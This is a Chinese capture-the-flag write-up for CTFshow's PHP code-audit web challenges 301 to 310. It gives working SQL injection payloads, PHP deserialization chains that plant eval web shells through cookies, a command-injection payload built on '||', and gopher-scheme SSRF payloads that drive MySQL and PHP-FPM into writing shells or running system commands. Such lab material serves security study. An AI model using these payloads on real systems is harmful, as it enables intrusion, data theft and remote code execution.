CTFshow 代码审计
web 301
在checklogin.php中没有对username做任何过滤,可以闭合它构造payload,且在第二个if中告诉我们只有通过sql语句查到的密码和我们的密码相同时才可以登录。
checklogin.php
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
直接闭合,联合查询1,这样返回的密码是1了,最后只要登录的密码也为1就可以拿到flag了。
' union select 1;#
1
web 302
修改了一个地方,给密码加密了。
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
加密代码也给我们了,伪造一下呗。
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>
exp:
<?php
$str = 1;
echo md5(md5($str.md5(base64_encode("sds")))."sds");
payload:
' union select 'd9c77c4e454869d5d8da3b4be79694d3';#
1
web 303
在sql文件中已经告诉我们了用户账号,和加密密码,可以对字典加密爆破,这边盲猜是admin。
原理看图:(参考:https://bbs.huaweicloud.com/blogs/306014
)
在dptadd.php中可以看出每个字段值都可控,所以我们可以在随便一个地方构造,这样它就会把我们想要查的东西插入到表中,最后我们再在dpt.php查看就可以了
爆表:
dpt_name=5',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
字段:
dpt_name=5',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#
flag:
dpt_name=5',sds_address=(select flag from sds_fl9g)#
web 304
没过滤,照上面的流程走一遍就行了。
web 305
知识点:利用反序列化写文件连接数据库
结合class.php和checklogin.php,利用cookie反序列化写入文件
class.php:
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
checklogin.php:
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
$user = unserialize($user_cookie);
}
payload:
<?php
class user{
public $username;
public $password;
public function __construct(){
$this->username='1.php';
$this->password='<?php eval($_POST[1]);phpinfo();?>';
}
}
echo urlencode(serialize(new user()));
Cookie: user=O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A34%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%22%3B%7D;
最后连接数据库取flag
1=include('conn.php');
$sql="select flag from sds_flabag";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
print_r($row);
web 306
在class.php中,有个file_put_contents可以利用,但是要找类来掉用它。
public function close(){
file_put_contents($this->title, $this->info);
}
通过全局搜索可以在dao.php中找到close的调用。
public function __destruct(){
$this->conn->close();
}
payload:
<?php
class dao{
private $conn;
public function __construct(){
$this->conn=new log();
}
}
class log{
public $title='1.php';
public $info='<?php eval($_POST[1]);?>';
}
echo base64_encode(serialize(new dao()));
最后就是找入口,因为我们调用了class和dao两个文件,所以入口文件必须包含这两个文件,且可以反序列,只有index.php符合,所以我们只要修改cookie,然后直接访问index.php就可以了,最后
TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319
getflag
1=system('cat flag.php');
web 307
在dao.php中可以命令执行。
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
可以利用管道符||来绕过,||当前面为报错,则运行下一条,若不报错,则不运行。
rm -rf ././ || cat /var/www/html/flag.php | tee 1.txt|| /*
再在phpstorm里全局搜索一下,在controller/logout.php中发现调用clearCache,且也包含了service.php。
if($service){
$service->clearCache();
}
payload:
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $cache_dir = './ || cat /var/www/html/flag.php | tee 1.txt || ';
}
echo base64_encode(serialize(new dao()));
最后传入,然后访问controller/1.txt
web 308
参考wp:https://blog.csdn.net/miuzzx/article/details/111352849
参考知识点:https://blog.csdn.net/qq_41107295/article/details/103026470
利用 Gopher
协议 SSRF
漏洞:
function checkUpdate($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
dao.php:checkVersion
index.php
利用gopherus构造shell。
poc:
<?php
class dao{
private $config;
public function __construct(){
$this->config = new config();
}
}
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01';
}
echo base64_encode(serialize(new dao()));
传入cookie,写入shell:
获取flag:
web 309
知识点:SSRF--gopher协议打FastCGI(PHP-FPM的未授权访问漏洞)
参考:
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi
https://blog.csdn.net/weixin_39664643/article/details/114977217
https://blog.csdn.net/qq_41107295/article/details/103026470
https://blog.csdn.net/unexpectedthing/article/details/121643002https://www.cnblogs.com/itbsl/p/9828776.html#%E4%BB%8B%E7%BB%8D
https://www.cnblogs.com/itbsl/p/9828776.html#%E4%BB%8B%E7%BB%8D
流程图:(有错误请指出,跪谢!)
解析好的环境变量:来自P神,环境变量的作用不仅是填充$_SERVER
数组,也是告诉FPM:“我要执行哪个PHP文件”。
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
漏洞的产生和利用:(这是看了大佬们的文章后的自我理解,有错请指出,跪谢!)
产生:
1、curl、file_get_content、fsockopen等函数的参数过滤不严谨。
2、PHP-FPM的端口露在公网,使得可以自己构造fastcgi协议,和fpm进行通信。
3、fpm会根据fastcgi解析好的SCRIPT_FILENAME环境变量来执行php文件。
4、可以利用PHP_VALUE和PHP_ADMIN_VALUE两个环境变量来设置PHP配置项。
这样的话auto_prepend_file为php://input,就会执行放在body里的代码了,当然远程文件包含的设置allow_url_include也要打开。
利用:
1、先找一个已存在的php文件的绝对路径,赋给SCRIPT_FILENAME,若都不知道,则可以尝试一下安装php时就存在的默认环境。
2、利用PHP_VALUE设置auto_prepend_file为php://input,这样在执行任何php文件前都会包含POST里的内容。我们只需要把shell放在Body中,他们就能被执行了。且利用PHP_ADMIN_VALUE设置allow_url_include = On。
poc:
<?php
class dao{
private $config;
public function __construct(){
$this->config = new config();
}
}
class config{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27sleep%205%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
echo base64_encode(serialize(new dao()));
传获取flag:
web 310
知识点:file伪协议的使用,查看nginx的配置文件
延时测试,fastcgi存在,可以find发现flag位置,但是无法查看,yu佬说是9000和6379都是关着的。可以试试读下配置文件(https://blog.csdn.net/miuzzx/article/details/111352849)
<?php
class config{
public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
echo base64_encode(serialize(new dao()));
?>
可以看到正在监听着4476端口,和flag,访问下。
poc:
<?php
class config{
public $update_url = 'http://127.0.0.1:4476';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
echo base64_encode(serialize(new dao()));
?>
疑问
虽然拿到了flag,但是9000端口关了还能传fastcgi给fpm?配置文件看不大懂,不知道在配置文件中这种算关了,还是没有监听。后来试了一下,可以写入一个shell文件,但是无法获取/var/flag,要root用户才可以访问。
总结
不足的地方太多太多了,只能加油了,最后感谢师傅们的无私。